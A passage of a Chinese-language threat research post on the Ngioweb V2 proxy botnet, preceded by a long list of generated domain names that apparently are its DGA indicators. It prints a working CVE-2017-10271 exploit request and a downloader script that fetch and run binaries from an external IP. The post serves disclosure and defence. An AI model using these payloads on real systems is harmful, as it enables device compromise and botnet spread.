transasotution-interenukaned-exogobokary.name
cokecofage-postihugaxish-microrovagedom.info
overusicegance.com
semitilegession-inacokiless.name
postacepement-transudodotian-mononobulaful.name
underehexulian-premerazize.net
misubiluship.net
presuzadom-minicaziship-nonocabuhal.biz
underelusuful-cotesufous-comalugous.name
disotifite-imekofaness-imakafance.name
desaxeler.name
enodokive-exesuzer.biz
postafobagical-imabegical.info
inakozebian-prevutacal.net
protugatuly-disenegify.org
unuvudeth.org
monosukekoment-interecixing.net
monohuloment.biz
postelodetion-ultrabovehood.com
misumefable-overabicuful.info
disolokancy-monozasihen.org
remarulission.biz
minivibugusion-irahuzihood-semihavebure.net
nonuceboness-unigehoned.name
disitagiless-minimapufy-unazahable.info
minixarafy-misorutukant-overecoxish.org
unurizolike-exonaviship.com
semifefination-underudegoful.info
defoduward.com
subevizufish.name
multifurilible-disapihodom-overihexipure.com
semirafition.info
ultrabaxabeth.org
semizilukern.org
emesebesion.org
predevuzely-underafavity-subinovuhish.biz
disugixession-disicefopity.net
monopafesoful.info
ilopebesite-unofipofic.biz
postagecument.name
enagetisor.com
semipotily.biz
macrohehipancy-enoxeheless-disiparussion.biz
deledulosion-misolokian.info
macrolulolion-inukozish.net
antiligulity-macroxikening.info
macrokorokeship-proxudiving-antitekission.biz
decegupusion-antihecument.biz
macroputasion-rezogififul.biz
macrobulavity-disinovuly-overalumal.com
imevusath-exabosese-cokosagate.biz
multibovanuship.net
prevufofition.info
underamuned.org
monocutity-dedihaness-emolovoward.net
repihely-inicopipical-antitoguloless.biz
ultratukarity-inekabedom-minisevaship.com
prezelafetn.org
anticotusely.name
multisexosaship.org
misuxihant-coducakehood-nonegabesion.net
presikilancy-monomigaran.org
emesavoth-subisenofy.net
prosometous-monozibodal.net
microdakuzion-premodument.biz
cocupisic.info
ilirucer.org
iruzuzate-minifisaness.com
imemamafy-misitehitency.name
overisizement-overacimibary-provedebiful.biz
ultracerehufy.com
prepodatedom-ultranociship.org
imudekizern-inovakaful-underafimalous.net
irusuhoth-irigezefy-antimoperic.org
irasehemal-interapomevible-irurilahood.org
refapuboty-cokiraness.net
antizozovical-emudelern.name
underehopenous-misamotider.info
postimucoful-postopekian-relorodiful.name
ilotikuty-coxupukable-postumepekish.com
miserarided-detilefehood.com
semirocetion-minihegezuness.com
misaratofy-monozagodaless-macrocusunance.biz
macrotobulike-subanokoship-irelovian.info
ultracovumed-ultrakubolike-semigocussion.name
overaxomance-irulariship.org
nonexabusion.com
emokefoban-disanomese-emevereness.net
microvufity.name
postivamulable-suburubocive.name
enicizazist-iruzasoness.com
exadunite-postuverely.info
dehobekern.name
inixizixage-iramatahood.org
imihadable.info
minicikiness-antixicetion-multibemebeness.org
seminalidism-imotaceth.org
misehagiship-progagiless.info
interemalufor.org
suburifabous.name
transudubaless-overusafaxian-renifaless.name
multikerikish-ilirehedom-interacicuxen.net
monotexution-macrotovuhood-emagaperant.name
inamurate-examagadian-cokufodist.biz
overerofamary-prohuseless-disagidisism.org
subuzaxetible-postocosancy.net
subarapaxor-postexedagist.com
irudohuzancy.biz
multibagenish-devokahood.net
antilaruxed-antisifeful.info
underubonohance-promisely.biz
enakuvussion-cosedetance-multikihuboship.net
subuzovosion-antirepitiful-interesevufible.com
subikohure-minibupuward.org
nonuzoseman-multicinufy-imahegading.biz
enariged-exeraping-ultrafuronoship.com
retomesetion-disoseceful.biz
postifufiran-pregegetance.org
exaticaship.org
regogadom-enarepument.name
disahagese-provekariful-enuxumasure.com
iramorelical.biz
multisehidency-multinanisasion.com
imugimucage.biz
transahosipical-remorubidom.info
comasehood-iruvinor.biz
postobuxant-iroriposion.net
prolikifate-imuzoluhion.name
postametepary.com
refipepous.com
predahetion-ultravetehood.com
prenehixuty.info
transafuniless-transitelate-propifoly.biz
transumohocing-monokifetodom-postodumance.org
semizunidom-overivimarern-emapikal.name
defibinical-transehemotion.info
defacuheth-precononian.org
microbetacism-probotohive-monoriniless.info
enezurement-minilodolike.com
monobicezish-imarorusion-nonulobed.info
interihecivage-unafufese.name
denafacufy-semibudoder-subobedofy.com
premipimize.org
unumekihood.net
antipusetion.info
ultrakidaness.net
revavonussion.biz
cofuzelike.net
antibutekaful-ultrasavesion.com
misufoneness.org
protudofism.com
microgihility-misaholiship.com
rekucasism.net
imugigetn-postupecer.net
semivutevoly.biz
enesedupan.com
imumidesion-exobavapure.info
interegupance.net
semicivuly-cogicehafy.com
microvonelist.com
irizakehood-misubavision-micronuzement.biz
transafetist.org
microzububical-microlemution.info
postagasage-subacibedary.info
multitacogate-multibimiteship.net
misopurision-emaretunion-macrogamufian.biz
overizupure.org
imovamive.info
mininadeth-revivisency.net
micromedoless.biz
enufagixage.net
micromahuvern.net
noninolish.biz
multihakezeship-misececing.name
inasihite-prodesuless-delizifoship.org
unorukure.name
transovizaful-ilatunition-ultravemokuness.org
exonucigian.name
overarubomage.net
preremahily-cosobihafy-subecarancy.biz
mininemanable-ilahedoless.info
disesebubing-profavodom.biz
inoresipize.com
imufopish.info
minivilolage-ultrabekufy.net
misogatulike-rehigussion.info
interazevese-subacebal.biz
interunanary.org
exudolohood-semivefodom-enocesoment.biz
disetopite-monoximament.biz
deharasion.net
imekixern-postulutetion.name
interinifish-presaxetion.info
undereburency-microxemabuty-colazulous.name
transozezassion-coxegocary.biz
multitesoship-promoroless.info
disecepist-semixidafen.com
semilalufern-imilocision.org
misuxepify-overosulisary.net
irerehist-enakeletor-prexilily.info
minisukufy-prenoculy-overedozetn.net
imifucic.biz
interagapossion-inanusen.com
eminosevic.biz
ileneculion.com
prexahely.name
covigufaship-misuvikist-underoforify.org
prefafepadom.biz
macrokeraleness-irazigoward-prokazivary.net
nonevebofy.com
emuholalike-emoricaship-prexolunedom.name
macrozihixoness.com
rezalorite.net
probepemal-monolotassion-ultrasuxupite.info
transamupiser.com
subulururure.info
cogobetelike-imihoholical.biz
cocefoxancy-interiligor.org
profuretuty.biz
ultranaxafed.name
enomevapian.com
emozivion-transagoxehous-misekoludure.biz
multitakoth-subarasofy-irorututh.com
nonukecaship-iruxivexable-ultracikesihood.com
emikudion-interazelage-monorubifation.name
cohexifeth-unirizofy.com
nonetatamancy-cosucoship.com
unozugovancy-transonagible.net
subukufuward-emobukese.info
ultrapedecable-demepeness.com
prevagazate-unofonism.biz
transodigission-postesopian-antibohibussion.biz
postahusor-refihetous.net
emanixitic.biz
disihariman.net
irazifeship-profucaxidom.info
minisizahood.org
semigehepoty-enilafaly.info
underilugogan.com
emedepous-multihonuship-nonidivism.info
macrosegadage-underolezilize.org
prohimanize.org
semizahixage-recumodiless.info
minimonoship-monodatiless.biz
macroharixahood-exofininic-transufumuful.info
macrotahuzofy-semidofavuless.info
interucepion-emezubalike-redegufive.net
monopurinotion.name
enamexetite-misehutufy.org
antipinoless.name
overofutufish-monoranodom.info
multiruvihood-subaxadopern-overuzetor.com
iribulaward.org
monohuxifetn-monomipekession.name
ultrabicubesion-prelevoged-misenetefify.info
inuxodely-iletabize.org
microxemufate.org
emexecador-postapagilance-pregukaroful.info
enusitofer.com
nonamorive-coruvusoship.net
emeripusion-prozivaxed.net
imozafohetn-postopitezant.com
remenazoment.info
inutedible.com
emogivonive-underofopite.org
imupagath-emerunofy-microxepifaless.name
disugelity-unadulion-transoxilassion.biz
multibokuzision.org
irihalikency-postumemure.net
emetovafance.biz
cohifuxage-ultratifelike-proravihument.biz
overiguvotion.biz
ultracetuness-reditavan-prepuvaful.biz
disomitinure-exudenith.org
pretoxuhoment-ultraduzilike-rekuvepament.name
ultracuvision-imetocalize-conudakure.info
multifutoness.com
misotomonist-underesapeless-interitehassion.info
macrofokabosion-pregulomuful.info
enigupage.net
micromotamity.com
prohutaxament.biz
multihogotical-underaremeful.biz
postonusilan-imisadeth.com
nonomokoship.net
microgumafetion-transoloruful.name
disecidenate-monozudely-inorirer.com
misofesance-underefality-disukasuric.net
exatuduhary-overecabadom-enalafument.info
dekohabeward-microguguhish-misihabian.info
desorecath-nonotofufy.net
emagizese-interocitession.info
enecigese-monozemission.biz
dehefixern.name
degigosiness.net
antihozecission-underucepeless-depudogish.biz
postemaxor-subuvutiship.com
monobukobation-multibacosish.info
transakazese-emetudiber-inemalatant.net
imisupant.info
inokalance.net
subacebify-inerokate-exokerudible.name
interazokable-exomomosion-unozivulity.info
multikuzucafy.com
misumobage.biz
interedixamic.org
exatisical-transasebage.net
eminumage-ultraronihood-emagisusion.org
misapekist.info
macrorasisite.biz
minikumedure-multitikovaship.net
microfocadom-ultraxodaship-subimukuban.name
underarefoful.name
overidabiking-microcuzidism.net
antifonossion-macroroceth-monoxevezion.net
antizedulian-exedeneship.org
irasodelant-cosuzamaness.org
nonuhahify.net
subopuvodate.info
postecibakite-semipehotion-ilagokeful.info
multinosekant-interufixern-misigodepical.name
disodutokical-semigunossion-enacozancy.org
nonapoboship-univehipate-demusuship.com
irabanacion.biz
ineluzocish.com
emesoxufor.name
transegovecant-regegoful.name
dedepecofy-misamobize.biz
covukided-multivekigese.info
overevomify-semituricable-imuxagusian.info
postofugor-misedihency.info
minihezipuward-antikogukoly-minitotoward.net
semidemeheless-multisatehion.name
enamixite.net
nonenukehood-nonipusese.biz
minirodohood-semikimodom-ultraveveship.org
antigefuned.net
imupanarist-postirabance-unuxazure.info
cosaneward.net
microvatuben.com
monosihucument-multimadelate.name
overipomikancy-reketakety-overatahite.org
repinahed-antimipily-macrofaxoward.com
iruhacage.info
macrobikuloship-prepiziless.name
transemecaxite-exizorulive-macrokocaxuness.org
monoroxaty-coditoness-antixeretion.info
postunirancy-emoraboward-misedomuness.org
monotafaty.biz
transotivaless-transemozorancy.net
exodotopal.name
underibuboly-multiguhurity-multisocupoth.net
rezorussion-underaguvitism.net
subobizian.biz
minixakapity-overaxuremian.com
semibufupical-nonefabible.biz
degamufy.com
misevelite.biz
transidivement.info
postofesion.org
irofivunive.biz
disepugassion-enubover-imigogify.org
profatacic.org
imegafivic-interasedekern.org
monotohiciless.name
postefofoment.info
macromovicity-coliziciness-emarifitan.name
macrocebipilike.org
suburusifish-disezulabize.net
nonufekith-prozikitous-exicolasion.biz
postexuletish.org
imidilical.info
ilaromuly-postuvadaty.name
transohunuless-devepotity-inigovipible.org
misuvuboping-disofezify.com
imekocibance.biz
multirigafy-unukazath-imoruxofy.org
rekucenodom-macrovidubohood.com
presifotary-subagidaness-unifiloward.net
semidosabal-prohifosen-irulubuth.net
unozisiship-proxacixite-provapepoment.biz
decikatuward-eximatite-macrotitatous.name
postizomaly-enopidupian.org
antivikogian-resafusument.biz
inehodancy.org
reremuloly-ultravomegance.info
iluceviless-cobesify-misilaxuth.org
probafoloment-multiruvexasion-irodolohood.org
prezunation.name
cosufirith-irurafevese.name
multicitivite-overifisian.org
emeluxiter-underipezoful.name
transonipadable-micromuruculess-transecocevical.net
proludadom-transibisument.info
enubafition-disosaceman.net
subesosify.com
pretasekidom.biz
underiganian-irelonimify-inuxefuful.info
enusesety-disavelen.com
irisamimal-macrofonoth.com
irumanish-disifeneless-postugofodous.com
seminegulate.net
monozibecoly.name
disehohonable-antivosuvant-nonomezed.biz
dekehotosion-antilofotoful.name
macropilepafy-monopanising.org
semilanusement.name
multipahofeward-misemebiness.net
exaxanency-macrokamodith-subelisify.org
nononemolike-iregekoship-recagetism.org
semixufoduful-inaxunition.biz
multizuhaness-misuniziward-prorenanoly.name
underagalussion.name
disemigobancy-antihumument.biz
transicukogan-unedipiness.org
antimuvegancy-semiferisiless.name
comusabish-macroboginision.com
irunukese.biz
transoluvisist-subapivogure-transinebian.com
subezulion.biz
codexutihood-nonopemosion-microhohahish.com
unopihiward-emaduxaness.com
mononedepussion-inumiler-emedepify.com
pronurikous-imunebern-disekiduzary.net
monopukinoful.biz
desizulous.name
overofopiless.name
ultrateresible.info
iladorian-exeripunal.name
overilugoty-macrokegoxure.info
transasudance-monodinaly-cogetamance.info
minixuceth.net
prebavission-transehuvor.net
retaxossion.name
macrosasolike-prezalogity-irinomarage.biz
multigonuvance-overimesetion-transefuzeful.biz
ultrahitacese.info
conadelish.name
mininotonuhood-imitezer-macrobedoship.com
iretosancy.biz
ilotovic.com
monopegality.name
interusabuless-ultranavify-microxapikist.net
semiralobous-antitesenidom-minibomazihood.com
imavabibist-underanagoly.name
transipilukize-rebikeless-interupulission.biz
transocokunite-misomemagian.biz
macropetimufy-irosagish-minisudeward.org
unutexamize-inihorify-subobecoth.net
subicosinan.biz
ultrazotasion.com
prezehiful-conukurern.biz
disuzegite-antisevition.name
codituhish.info
ultrakixuvuship-nonucaculike-semixasihement.biz
overonizetion.info
disegucely-inuberimism.net
antixigeten-nonevinoship-misubinolike.com
monokidobal.com
misevocic-minikanogeness.com
ununacefy-prexefily.info
demunivage-interetimiless.info
minikohivage.name
demafasion.net
emukerufancy-postabiving.net
microcukaxian.com
antitigutite.net
nonafocing.name
enapomiful.biz
comifugor.name
interukadahite-unuzopetn-disimevoxous.org
unorotepize-degekikuward-prevamiful.name
macropoviward-anticodiful.biz
macroholuxufy-emomaceth-misobodefy.org
misevakexic-enomucipary.com
iroridovism.info
interecomeless-disidikission-inonokist.org
emodemozible.name
minidomusion.org
exiheretn-macrozucusion-unuhepian.biz
interurinable-misopitubion.biz
postuxesify.net
nonukefalion-minihekifage.name
macrodibunant-covidugehood.net
exogudipish-ilarazifor-semifurity.info
postiheragic-antizelussion-miniximixetn.biz
overihotoment.name
inovufan.com
rekorikoly-postapohabite-irehiheth.org
resihokument-inedibadom-interukaxobese.com
misidinuward-rehovaful.biz
transahosety-interohexal.net
microfikuty-cozuraness.net
misubipify-regemoziless-disizasahic.com
misapimirese-inifizor.net
misogasous.info
cotosenith-nonekohofion-macrofetuth.org
microrixassion.info
eninazacor-procopament.name
deraxehuward-subazitish.info
postupazety.info
minicakoth.net
misenenunary-multifesakure-transofoxant.com
precurokation-ilalapish.net
semigilitous.com
anticekipic-unetikenancy.biz
enecexodom.info
ultrapoloven-transigamance.com
pretiheful.name
macrodivuward-imizamism-ilahocution.name
minikeseness-misidovate.biz
enolocist-exahazoward-recosifary.com
reroberancy-iraxifous-transevicenern.net
misetepelike-semicadarement-macrokibolike.com
regasoment.name
overafupunern.org
prexuhuled-prebitucossion.info
underavegal-imuduvize.biz
overacuxoping-monodomiment-disoxecing.net
misirepahood-prorolonite.org
microxakeror-microxepation-underuronodant.net
monopikety.name
colanokic-delogisify-cobumuth.com
relacelical-semirehigern.com
subabozihood.org
emeleriward-semimocoful-interifihetion.info
ultramasizeth-rexuricission.info
inepibadom-transexusement-underudokirate.com
relodoful-inazifutor-nonafitipance.name
degakiring-multitamalulike-exosarese.biz
diseburodom.biz
ilivebusion-provovogous-exugikobic.name
inezokussion.info
macrococopish-minituluship-antiluvuless.info
cozafufihood-execuhance-postasahanish.org
microkobotish.com
regofaly.name
disalatible-misubukith.com
subugizobish-postidacage-iruxukical.biz
overupobidom.name
ultratulahood-noneguvive.info
underocukefive.org
subasinufy.com
iresizegal-depufapehood.net
iretokeward-unenecixous.biz
ilivusagage.net
microsihoxical.org
suboxuveness.net
subehefufy.org
antivovavedom-postagoxible.com
semipipedom-deginaship.com
antifahegion.com
emuxehoness-emovoxofency.biz
interulacetn.com
rerenussion-ilezetuxish.org
prexasikable.org
irobusaging-enocegolal.com
antigocossion.biz
enuxagonist-imepehehood-releridom.biz
degixehiness.com
rezedukussion-transaneping.com
semifozussion.info
enehigure-misaxamurist-interexixist.net
nonaxacihood-irebonozish-transevohency.org
imosomable.name
enecimarian-microbifimassion.name
enesuzacity-refopement-transidocodom.biz
postupidic-subedadian-underofoxoment.info
transeguxution-interuhamugism-irihoxeward.net
exivorish.name
dedemify.com
rekitahadom-multipiliship-presidevite.org
monokohohoful-overerukikize.net
propocazify-misahotify-iretesan.name
coparasuship.org
iragopity-overosisement.info
deruzesion.com
suborikapor.biz
enudipern-antixaboly-ultradomovofy.org
antinihiless-multiperediship.net
microtesedom.biz
transukeletn.net
microkisotion.info
ultravixovive-ilohukikish-exopecuhable.biz
overepelument-macropomelike-nonezitiship.org
microdotefize-monobedovite.com
misegisan-interazasoful-ultraxosimen.info
iniricity-monogimikese.net
exifopith-propisuty-macrobiguness.net
resasety-multikobekuth.org
iririmoship-monoxurevance.com
unufazicese-postelagable.org
rexocoful-multiraxovical.biz
denikager-transaderisancy.net
subisivikish-ilurilenan-imisihexist.name
interefifed-nonedapoward-prebonuloly.biz
cogukesuship.com
antikozohotion.name
ilefoxaly-iluxucadize.org
prefadirodom.name
macromezevite-macrozomotoward-suboxezeness.org
repihobary-nonubotath.net
nonixurive.name
inatomeletn.com
imehifoded-derodeward.org
unetolinible-multidofexern-iluhumese.com
exazegetn.info
multikevelike.net
microfidiment-ilolerency-misivezelize.name
minisahimiward-regabokoly-dekezosese.info
iliputobous-microkusession.info
multivepilike-emusoketn-enihenatable.com
imopedahary.info
overimupigish-prozunily.info
ilulohipism-microhasoless.name
underogemement-minifocaman.info
ultrasulahood-iropogision-imomuvuhood.net
rezepuxical-subocinary.info
ultrabesacify-emuferiming.name
underepibible-exarozish.info
transenumument-ultrameresision.org
prokunikency.com
exaduhify-prepexily.info
disugosize-proserahible-emogucern.info
disexeguless.info
inemebous-nonecezancy.biz
enuguvohish.org
rebasotity-postifoner.org
misekozihancy-miniretulelike-anticulevument.biz
transobonetion.biz
overapezor-renihution-interozopoful.name
demexoming-transoratirite-precezerancy.net
prekageren-prodikuzument.name
postufimation.info
postugakive-subodavure.name
demetosith-pronizevission-underogovable.com
antizufossion.info
overifodist-exinutiship-probibalidom.info
detozahood-exehorobify.name
macrohukoxure.info
disigaror.net
subadadutian-underatuzity-imapuxonist.biz
ultraxapohood-unukuxible-inalusacant.org
imidufion-multifaxehood.org
irevitinive-interekemily-devudedefy.com
probekohodom-transohimument.info
multivamision-unabizable-minivifebusion.net
emecazufing.biz
enofelary.net
antivizodidom-underozivuzal.org
semiragotion.biz
ultrataconess-microrogotion.info
ultrahezuveth-nonivocify-unenokith.com
emeciritize.info
minirahision-iroficecic.name
macrofiturive-disabotous-misuxoxoward.com
unimeceth-antifexaty-dexevexoth.net
imuzifuship-antixutoless.name
overumudukist-microfahuhation-undericozist.net
proviburaty-disadufezal.com
imonoroship.net
pretohihotion-macroxerameness-irekiboward.net
unaxadumer-ilufitary.com
subigecilike-remimussion.info
overikelirern.com
emohinan-overekirenion.org
antisizaly-transecegety.name
ilomirism.com
microsuression-ultrabumutive-transisapussion.biz
overorohokic-pretezacian-misilefusion.org
monoxatocan-imavitulency-eniguboring.net
unuzugable.biz
postiduvern.org
micromomabed-semikikefage.net
antimineful-interanosotion-transulicate.com
renavilaty.biz
multigidumable-disefezage-irebekency.name
inugecism.org
ememozian-interapurossion.info
ilecevish.org
antihusiment-macrovarilision-semisoxument.name
minixecumoward-antibevunely.biz
macroguzofy-exuluparical.name
postutasian-emosolosor.name
macromagehood-exarexofion-depetihood.com
misipivixency-transerezucing-monobegofassion.biz
ilizehidom.name
ultrafaruhood-prohudodom-overatopument.info
enurudition-multigidohood-exorovusion.com
misebataness-antifupition.info
cosefuness-antikufeputy-transenuvous.net
prexubupossion.name
ultranucopite-multifevuship.net
profahudom-ultraxediship.org
prexevadom.biz
transipekal.org
monogixition.info
overuletedite-misokorism-enetunan.net
rezobucous-prodotily-ultraleveward.org
imogugomed-ultradomukaship-prodezavadom.info
ultranotohood-mononuzocotion-minipariveness.org
monovuvecish-monohedonaless-ultramurahuship.org
subanomigate-underogozeful.info
ultrafohuward-imuheber-interasiririze.net
imuhuxoth-misefatasive.biz
transosurugen-nonumovern-macroxanulike.org
unofafuhood-misasusomism.biz
enuvahion-nonelipical-interolugor.org
suboserite-underuxafakous-subatihoward.com
prepamovary-iresucefy-emagabive.name
interafuxession-delosorolike.com
unixagihood.com
unasodatite-overugasist-semivobuduty.info
macrovafith.com
ematogafible-interaxologor-iregiding.info
derivacing-iloxeheful-inecemed.org
microseboful-transebisation-degokition.biz
postorabity-miselugific-minizahiward.com
monokacily.name
underucotal-monobunedoless-minikulify.net
receziless-ultradasify-prefazofish.org
monolalession.name
underizonedom-macropodavuhood.net
misopoval.name
underivadant-semibofixoty.info
minipeboxing-deracocify.biz
overumakency-prekozulure.com
exufifision.com
prezalehaly.info
dekasafy-imevinupable.info
coviviship-pronehaless.info
ultratovibuhood-microburodom.info
underucebohical.net
antitegabussion-devumuth-revexorical.com
iritukan-interatadite-misafegoth.com
semibizolument-underotaxive.net
misilaracal-minisomudese.name
cobevahant-minimufocity-cotoxanoth.com
prozapetament.info
underumamotion-interediripite.org
exofecukity.biz
underusimant-unigaverical.info
underarixogage.org
iripabath-irecuboxible.info
underobomipous-imofevazancy.info
dekegexive-derokukith.net
microbigukement-overazoredom.info
postaruxanant.com
remenuty-postexinity.org
irohorafy-antixomafese.org
exanisary-disomugetn-rekamaty.name
interasupukity-emufucoship-semibumaless.info
macronoboship-probihohodom.info
enorasancy-irenagion-underexelozer.net
prevesuxage-prevakomous-exorovage.info
inehegely-enolobocical.net
iranuzulike-subibeneship-misezomor.name
interipurusist-antimafidom-multinedisency.info
overidaturary-antikezuful-dexepovish.name
ultrakorudath-exofabidern-cogenakulike.org
semipodofate-misibogesion-unasobuhood.org
emubicodency-interotupure.net
imetocirian.biz
underunazency-microrisover-antineheless.biz
macrocumubohood-emukafosion-subupenure.info
depifesion-suburinipible-interinokage.com
unihogish.name
minilugovefy.net
semigakitan.net
misuviking-transidodunate.com
antimupacary-unixosaward.com
imizagution-cokivaxoship-emavavism.info
postivikism-prefuvezedom-denihuship.org
irirecupist.biz
cofiresary-dedidigage-multivucaness.com
relarity-inagomese-exaderaward.net
nonusonuth-exifaxufy.net
subinobese-transinacibic.net
exegudous-underitifiment.info
multicupapize.info
posticazalish-emedokician-transezuraless.info
ultranepacihood.net
unorubese-inozoficese.org
unocacish-enoniculy.biz
inakirission-multihigutite-dedafuleship.net
imenazotian-ilesafance.com
anticocacable-imonifion-interapopation.biz
mininovition-underucuxety-transamurizancy.com
emozonous.biz
overofucodom-ultrafizudive-enekaconism.org
recitofuly-multikobepofy.org
semixexiless-ilagamic.org
prerozunodom-interixudoment.biz
underanipetn-imanodidible-ultraropagic.name
multikafenoth-antiguhipassion-multilitebern.info
ultralufetous-underecanagive.net
semihesegite-nonilakal-postubetinese.net
nonepitopible-overozuzate-emuxevive.name
ultrafikuth.org
micronixogage-prerihapian-monomibession.info
transahihancy-semizehogament.info
minihihokuward.net
imenipapary-inubuharist-prebemunedom.name
disixadible-monocirecing.org
exixefugal-inaxedoty.biz
postunolobage-premugossion-dexokacate.name
multizocisehood-nonulafapous.name
ultracimosary.info
enotufassion-minikavunous.biz
inuhamage.net
misulonupism.info
desemamoth-recabalible.org
semixukehify-semihofenoment.name
transaroran-subobukezish.name
macrotaxigian-degoxobance-ilidilant.org
antitamokaless-ilusulussion-inaretiless.name
inelocument-enazobity.net
pretetegize.com
prosimetion-interamexish-misexesency.info
underofogize-iruposision.com
nonopegeker-enorefuty.info
disokehamary.org
unetikuhood.org
nonisuzilant-intererevafian.org
prenukorive-semimelekical-semixuxihement.biz
overaxehous-misugutuhood-nonubetabate.name
ilunomabify-unonebern-devicepant.biz
ilegugize.org
exofiralike-imakefebous-inomaluzed.com
antidavumetn-regulanuty-inenidure.org
exupamify-subixosoth.com
regahagize-antitaliless-underoparossion.name
multicefolike-antilihelite-proxunezate.com
semimuxoment.info
disuhosate-nonasilahood.net
prepevation-postebixish-probunedom.info
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## 背景介绍\n\n2019年6月21日，我们向社区公布了一个新的Proxy Botnet，Linux.Ngioweb的分析报告。\n\n2020年8月4日，360Netlab未知威胁检测系统捕获到一批VT零检测的疑似Ngioweb的ELF文件，经分析，我们确定它们属于同一个变种，简单地将其命名为```Ngioweb V2```。\n\n2020年8月16日，360Netlab蜜罐系统发现攻击者陆续使用了9个Nday漏洞传播Ngioweb V2样本，涉及到x86(32/64), ARM(32/64), MIPS(MIPS32/MIPS-III) 以及 PPC，Hitachi SH，IBM S/390等CPU架构，标志着Ngioweb开始攻击IOT设备。同时支持众多的CPU架构，尝试众多Nday漏洞传播也彰显了其作者急欲扩张的企图。\n\n2020年11月5日，友商IntezerLabs在VT上发现一个名为bins.october的压缩包，里面包含了多个编译器产生的50个Ngioweb样本，同样涉及全部的流行CPU架构。\n\n基于Ngioweb长时间的活跃，VT上极低的检测率，以及开始攻击IOT设备等原因，我们决定编写本文，披露Ngioweb V2的一些技术细节&IOC，以便社区更好地识别，打击Ngioweb Botnet。\n\n## Linux.Ngioweb概览\n\nLinux.Ngioweb Bot样本的主要功能是在受害者的机器上实现Back-Connect Proxy[[1\\]](https://hide-ip-proxy.com/what-is-a-backconnect-proxy/)。攻击者将多个Bot构建为一个Proxies Pool，并通过双层C2协议控制，然后提供Rotating Reverse Proxy Service。\n\n目前我们将Linux.Ngioweb分成了V1，V2俩个版本，他们的核心功能是一样的，最大的区别在于V2将许多之前明文存在stack上的信息，集中的做成了一个 配置，使用AES加密存储在DATA段中，主要对比如下所示\n<a href=\"__GHOST_URL__/content/images/2020/11/ngio_compare.PNG\"><img src=\"__GHOST_URL__/content/images/2020/11/ngio_compare.PNG\" class=\"kg-image\"/></a>\n\n\n\n\n\n\n## 传播方式\n\nNgioweb V2通过Nday漏洞传播，所利用的漏洞如下所示，可以看出并没有特定的偏好设备。\n\n- [CVE_2013_3568](https://www.exploit-db.com/exploits/28484) \n- [CVE_2019_8387](https://www.exploit-db.com/exploits/46400)\n- [CVE_2020_14882](https://github.com/jas502n/CVE-2020-14882)\n- [D-Link Devices - HNAP SOAPAction-Header RCE](https://www.exploit-db.com/exploits/37171/)\n- [JAWS_DVR_RCE](https://www.exploit-db.com/exploits/41471/)\n- [NVRmini_cgisys](https://www.exploit-db.com/exploits/40212)\n- [Netgear_Voice_GW_RCE](https://www.exploit-db.com/exploits/38449)\n- [QNAP_NAS_QPS_SID_RCE](__GHOST_URL__/in-the-wild-qnap-nas-attacks-en/)\n- [CVE-2017-10271](https://github.com/c0mmand3rOpSec/CVE-2017-10271)\n\n以CVE-2017-10271为例，在野payload如下所示\n```\nPOST /w**/CoordinatorPortType HTTP/1.1\nHost: {}7401\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36\nAccept-Encoding: gzip, deflate\nAccept: */*\nConnection: keep-alive\nContent-Type: text/xml;charset=UTF-8\nContent-Length: 564\n<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\"><soapenv:Header><work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\"><java><object class=\"java.lang.ProcessBuilder\"><array class=\"java.lang.String\" length=\"3\"><void index=\"0\"><string>/bin/sh</string></void><void index=\"1\"><string>-c</string></void><void index=\"2\"><string>cd /tmp;wget http://94.102.50.143/WSW0;chmod +x WSW0;sh WSW0;rm WSW0</string></void></array><void method=\"start\"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>\n```\n对应的下载脚本如下所示，功能非常简单就是下载执行Ngioweb样本，然后自删除。\n```\n#!/bin/sh\nn=\"QILU TYEQ CNII WTBK AJYZ NNVY FBRW WSMK VTLE ONRB\"\nif [ $# -gt 0 ]; then\n n=$@\nfi\ncd /tmp\nfor a in $n\ndo\n rm $a\n wget http://94.102.50.143/$a\n chmod +x $a\n ./$a\ndone\nfor a in $n\ndo\n rm -rf $a\ndone\nrm $0\n```\n\n## Bot规模\n我们注册了V1版本的DGA域名，从域名请求量看V1版本的bot其日活Bot IP数量在3k左右。\n\n\n从360Netlab的DNSMon系统对V2生成的DGA域名的请求来看，估计其bot规模在2k～3k左右，与sinkhole的数量基本持平。\n\n\n### DNSMon的阻断\nDNSMon对Ngioweb的DGA域名有较好的拦截效率。从DGA域名的请求记录实际情况来看，DNSMon的拦截比例达到了98.99%。\n## Linux.Ngioweb V2逆向分析\n\n此次大规模活动样本几乎包含了的所有流行的CPU架构，本文选取X64架构的样本为分析对象，样本信息如下\n\n> MD5:ce4c23642878788ecaedd0903663244d\n>\n> ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV), statically linked, stripped\n>\n> Packer:None\n>\n> Lib:uclibc\n\n如前文所述Ngioweb V2的核心功能并没有变化，感兴趣的读者，可以翻阅我们的上一篇文章[[2\\]](__GHOST_URL__/an-analysis-of-linux-ngioweb-botnet/)。下文将着重介绍Ngioweb V2的新特性。在Ngioweb V1样本中，敏感的资源配置信息如C2，数字签名公钥，上报入口等都使用```Stack Strings Obfuscationr```技术进行存储，防止被安全人员一眼看破，有一定的作用，但效果有限。V2样本则做得显得更加隐蔽，将这些信息集中加密存储，```在一定程序上增加了样本层面的检测难度```；同时V2样本运行向C2上报设备信息的入口不再固定，```在一定程度上增加了网络流量层面的检测难度```。\n\n\n\n### 新特性1：配置信息使用AES加密\n\nNgioweb V2 Bot样本将DGA种子，DGA产生domain数量，C2 , 数据签名公钥，上报信息入口等信息统一存储在一个配置中，此配置使用AES加密存储。当需要使用其中的信息时解密，用完后就销毁，防止敏感信息简单地通过内存dump被抓取。\n\nNgioweb的一大特点是动态生成加解密算法所需要的常量表，这种方式加大安全研究员的分析难度。\n\n<a href=\"__GHOST_URL__/content/images/2020/11/ngiov2_aes.PNG\"><img src=\"__GHOST_URL__/content/images/2020/11/ngiov2_aes.PNG\" class=\"kg-image\"/></a>\n\nAES加密使用ECB模式，无填充，秘钥以及密文存储在DATA段中，前32字节为秘钥，接着512字节为密文。\n<a href=\"__GHOST_URL__/content/images/2020/11/ngiov2_aesdec.PNG\"><img 